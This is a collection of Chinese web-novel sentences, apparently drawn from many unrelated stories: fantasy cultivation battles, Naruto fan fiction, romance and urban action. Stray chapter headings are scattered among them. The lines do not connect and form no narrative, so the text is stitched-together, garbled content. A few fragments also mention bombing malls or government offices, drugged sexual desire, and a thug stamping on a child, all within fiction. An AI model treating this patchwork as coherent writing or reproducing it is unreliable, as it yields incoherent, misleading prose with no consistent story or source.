我深深看了一眼寝室里熟睡的她,安详的容颜宛如一朵睡莲,在水中静静漂泊,如遗世独立。 我们来到一处擂台模样的石台,虽然看起来坚固无比,但上面已多裂缝,显然久经使用。 岳海利大叫道,原来刚刚岳珊珊走神的时候,茶壶还在望杯子里倒着开水,溢满了出来都没有发现,滚烫的开水直接流到了他的大腿上。 “你说本王拖不起,这到底是何意?”魔龙猿眼神冷冽。神色阴沉,像是什么见不得人的秘密被发现了一般。 我扶额,怪不得有这么巨大的声响,原来是厨房爆炸了,羽狐一族的人真是厉害呢,这也能给搞炸。 十八道光柱里,传来阵阵心跳声。咚!咚!咚!似晨钟,充满了生命力;似战鼓,汹涌着战意。十八个金灿灿的人从光柱里迈步而出,身体如同鎏金浇灌而成,每一道肌肉线条都暗含天地至理,是那样完美,找不出丝毫缺陷。 就在这样的一个距离,秦俊熙他就已经感觉到了液体黄金传来的热度了。 而在这个时候,秦俊熙他在听到了郭纯的话之后,就暗暗的对着郭纯竖起来了大拇指。 这究竟是怎么一回事?是的,之前都是用这种方式,连口语都没有了,噢,我突然之间知道了自己的节奏,是什么样的了。 纲手看了一眼凯,她的眼神没有慌乱,有的只是镇定自如和万分自信。 白寒缓缓收回按在他肩膀上的右手,蛇牌在冬晨风手中闪烁了一下,又归于了平静。 弄得楚南不得不来,找个借口都没有。还有就是每次都让他来,那种借口还是让他无法拒绝的。 嘴里一边说着话,斑一边释放出了自己的影子,直接让其撞向了这自空中袭来的紫色能量弹。 但李义当然不可能就放任韩豹靠近自己,长枪在烟杆子拦到他攻击的时候,手劲一拧,长枪贴着烟杆子,顺着力戳向了韩豹的心口。 这样想着的时候奈良鹿久突然一怔,随即有些无奈的在心下摇了摇头。现在的三代火影猿飞日斩已经算是彻底隐退,这般的隐退比之当年传位于四代目还要彻底。 恰在此时,求如山上一道极亮极亮的青色光柱冲天而起,就像黑夜里的那一栋灯塔。 可欧阳现在不行了,这药让他欲·火·焚·身,他抬起头看了眼和自己说的话人。 里边的东西空了以后奈落将瓶子扔到了一旁,歪着头看着石矶解释了一句算是宽石矶的心。 金家人一直都紧密的跟邪灵门绑定在一起,我们这个计划,现在就是一个笑话。 晚上,王浩和郭静柔玩爽了之后,郭静柔由于洛雨荷回来住了,不敢在王浩房里过夜了,于是,王浩就连忙偷偷的和许慧珍约会去了。 有莫大的威压降临,紧随其后便在所有人的视线尽头,出现了一尊苍天魔巨人。 上面的人从他们下去就开始一眨不眨地盯着海面,宋时屿也走来走去的满脸焦急,时间一分一秒的过去,还是一点动静都没有。 第一卷 第146章 不许在这种时候叫停…… 我搂着小花猫嗯了声,点头。 “第三片龙鳞,已经找回来了。” 说着,我带小花猫去卧房找猫粮。 给小三花的猫碗里加了满满一碗粮后,我在旁边坐下,弯腰抚摸正在吭哧吭哧干饭的小三花脑瓜子。 不用想他也知道,僚人向来有髡发的习惯,然而却是胡乱剪断,如今见到极为有型的平头,怎能不欣喜若狂,不过这也反而证实了墨顿所言不虚,南人不蓄发的确是和炎热的天气有关。 左眼上新移植的三勾玉写轮眼在加大查克拉的注入后产生了改变,化作了一个正方形,围绕在瞳孔的四周。 夏季的突伦川风景极美,有草地湖泊,犹如是沙漠中的一片净土。 他洗澡直接用水冲了下,然后查克拉外放震荡,根本没用什么沐浴产品,头发也一样。 然后就是奥术帝国开辟了那个著名的大型位面战场,源源不断地为奥术师们提供着大量的灵魂晶石。 但他的脸上,却不见半点悲伤之色,反倒是显得异常平静,就像是什么事情也没有发生一样。 看着一个个曾经叱咤风云的老海盗被关在漏水的笼子里沉到海底,他成了附近最大的海盗。 陈飞宇也看到魏原敏一行了,陈飞宇同样心里激动,终于遇到回来的他们了,抬手挥手告诉他们陈飞宇看到他们了。 “鹰豹,输了就是输了,战争没有光明,你是知道的也见识过的,我先自我介绍我是豹头~你们领队是?”豹头李远海虽然语气上没什么,但是眼神中还是不服。 随着威珥的摇晃,嗖,随着一声响动,从海螺中掉出来一个东西。 “你是谁的人”,男人一直跟在暗中,似乎是为了保护她,菩提心中已经有了猜测,只是还不能确定。 一处断崖之前,三师兄停了下来,指着前方那断崖之上,这般开口。 王霸天走近石桌,拿起木盒缓缓打开,里面有一本秘籍,“赤羽魔功?”王求索走到父亲的身前看清他手中所拿的东西震惊道。 她埋头专心致志的干饭,把泡面桶里最后一口汤汁喝完,摸摸肚子,可爱的打了个嗝。 随随便便搞几个炸弹,炸几个商场,那么都能够造成巨大的骚乱,如果要是去到一些有关部门的地方,把有关部门给炸了,那就可能会造成整个有关部门系统的影响。 虽然这些人都没有开口指责他,但从人格幻兽的行为意向也能看出来,大部分人的心中都是认为他鲁莽草率,少部分人则是敬佩地看着他。 宁湘岚看着一进来就躺在自己床上,一脸无赖的段江,冷声说道。 再然后,他们便能活捉徐来,从徐来嘴里挖出他们想知道的事情。 “让我和她能够像那场悲剧之前一样,平静安稳地生活,不会被别人打扰?估计就是这样了。 他这种实力强劲,就想要利用另外的一种方式,却对付别人,沈飞冷冷的开口说道。 聂东玩味的看着双方的口水战,他知道这是战服里面最常见的一幕,就算他想管,但管了根本就没用。 “我宣布,这界认证大会的冠军是,来自提亚国的清风寨!”站在高高的领奖台上,继武脸上的表情却只能有冰冷来形容,看着同样表情冰冷的清风寨成员,继武的心中充斥着一种说不出的感觉。 第一卷 第147章 求夫人给个名分 一夜狂风骤雨过后,大清早柳云衣和小白小玉他们就十分勤奋地拖着大扫把,扫起了院子里的落叶。 “也不知道大王昨天和小萦解释清楚没……” 楪祈和桐人以及自来也一一握手,因为是在录节目,自来也难得很绅士的轻轻握了一下便松开,没有紧捏不放。 佐藤三次郎却根本没有理会,不用想都知道这肯定是何辰分散他注意力的手段,只是他已经上了一次当,不可能再上第二次。 “兰斯,你先等等,先听听艾露恩学姐怎么说吧。”杜雷拽住兰斯的肩膀,轻轻摇了摇头,虽说他被揍了好一阵功夫,不过他依然保持着冷静,他知道像艾露恩这样的人可不会平白无故的说话的。 “当然,版权是在你的手上,事情当然是你来做主,不过我相信你不会亏待我的是吗?”德鲁说着不经意的将头发拨开,露出来了雪白的脖颈和精致的锁骨。 闾丘若琳就这般盘坐着,好看又秀气的眼眸微微瞑合,她不再以肉眼去看,而是以练气士皆会的特殊望气法门,开始观看那道飓风龙卷之中的气机走向。 苏炳遭到了林若的暴击,不过虽然牙齿松动,头昏脑花,但是过了一会儿却还是缓和了过来。 何辰虽然手拿着鱼竿,却没有任何钓鱼的心思,有好几次沼泽的主人都咬中了鱼饵,可他却像是没察觉到一样根本不抬杆,任由沼泽的主人从自己的眼皮子底下溜走。 不得不说,用花瓣泡澡,跟以前有一种不同的感觉,而且房间中充满了花瓣的味道,十分的迷人。 社会的地位,从没有命兽的平民,到有命兽的平民,依附强权的平民,有钱的人,而后有权的人,楚家作为四大家族之一,无疑已经在了顶层。 另外,我送你这个不是想要得到你的感动,也不是要求你做什么,而是鉴于曾经的伤害,以及你救我的恩情,对你的一点感谢和弥补。 蛮子急忙返身将李天启揪住,而那国师也挥起了拐杖勾住了李天启腰身,带到了自己的身边。 说着就要抱过妙人,妙人哪里肯依,推推搡搡只哭,叶禄生见她哭得梨花带雨,到更是惹人恋爱,只想着搂着亲热,妙人推脱不过,只得与他温存了一番。 “马勒戈壁!敢来这边撒野,去死吧!”终于有一个‘性’子比较躁的男人忍不住了,挥舞着手中的三棱军刺冲向了肖云飞。 “老大!他穿着衣服是现役军人,脱了衣服,他就是一头野兽!一个平凡的人!而且如果不让他参加的话,这野兽真会这么干的!”拿破仑笑着‘插’了一句道。 “不认识。此人骤看之下虽有些气宇轩昂,但眼底无光,面色略显苍白,应是有暗疾之人,无名之辈。”木言远仔细看了一会,漫不经心地说道,他终于放下心来。 全泰安一声惨嚎,在心中却只有无限的绝望,他这一刀仍然是被破了,以最无奈的局势被破了,无论多好的招式。 关键她沁香恨得就是她这股子从容不迫,她还记得当日林氏生叶禄安的时候,她的冷眼旁观;林氏痛苦地死去前,她陆流芳也在摆着高高的架子。 第一卷 第148章 第四片龙鳞 我沉下眸色,不客气地开口:“当然是越惨越好了。” 帝曦心领神会的颔首:“嗯。” 护士走远后,中年胖男人极为不甘地从口袋里摸出一片泛着金光的粉鳞,拿在手里颤抖着嗓音祈求: 不过,康肯斯坦也清楚…藤木和白诚拥有这样的实力,实在不像是普普通通经历旅行,进行道馆挑战,参与联盟大会的那些训练家。 张巍走向还在震惊沉思的尉迟敬德,正要与他擦身而过的时候,张巍步子一停。 顾光晔举着手里的药膏对着那儿还在紧紧盯着自己的尹知学开口说道,脸上带着欣慰与愧疚,又倒了一杯水将她手里头已经空了的拿了下来,笑着与他说道,又把那一杯刚倒的温水放进了她手中。 “怎么了!?”慕莲关切地问。然而崔明仁只能抬起手指了指某个方向,对他而言,这首曲子是禁曲,由于听力过好,他早已听到了五千米以外的提琴演奏声。 城中的一座巨大的宅院内,这座院子几乎有一半以上都已呈现荒废模样,但仍能瞧出往昔的豪奢景象。 现在的自己根本没有办法行动自如,更别说找到城市了。如果想要自己找到城市,恐怕只有等自己熟悉死气探知后。 伸手一招,司空摘星带着二人来到一座坟墓前,扒开了草木之后,只见一个巨大的棺材呈现在众人的眼中。 谢睿自进了来,就觉得这里头的气氛不对,可他对于这种莫名的气氛只作不见,随后绕过了那儿恶狠狠盯着自己的顾靖风,帮着沈轻舞看了看伤口,有瞧了瞧长出的新肉,像是很满意的点了头。 当看到石板地上鲜血满满的模样吓得男孩连忙逃走的,可是却被流氓头子给抓了回来。在所有人的注目下,流氓头子抬脚就是一踩,成年人的一脚怎么回事一个七八岁的男孩能承受的。 面包车里下来一伙人,有五个年轻男人,一个前堵,一个后拦,两个左右夹攻,一眨眼就把朱巧珍包围住了。 “好吧,我答应你。”就去听听好了,中听的就听,不中听的就不听,她也不会因为唐佳卉的一两句话而怎么样。 “有人说诸天三界,相隔无数的位面,没有人知道他们源头在那里,生命魔王能找到三界的分界,三界河?”黄正有点不信。 而纪太后和新可汗,则又是如何忍辱负重,为了劝说故大汗被冤枉关押,险些遭遇不测。 “我会告诉他,你死了。”吕后不回头,毫不客气而不加隐晦的大声往后甩了这句话。戚夫人怒火直冒而无可奈何,咬牙切齿的恨着,恨不得一下子像猫一样扑上去,往那脖间咬下一个永不可治的疮口。 石修谨见五表哥记恨的竟是那件事,一下子便有些不好意思起来。 宁笙听着,喷了……宝爷呢,圆鼓鼓的身子,气的灰褐色的眼珠泛白,然后圆鼓鼓的身子也跟着一番,倒进里面去了。 尽管时隔数年再度说起那时的情景,林盛夏的话里依旧透着淡淡的委屈。 而周老太爷心狠手辣,却也因他的心狠手辣富甲一方,比起周宝庚,他除了年轻时吃了点苦头以及晚年横死外,人生大半辈子竟都是享受着锦衣美食、过着呼奴唤婢的日子。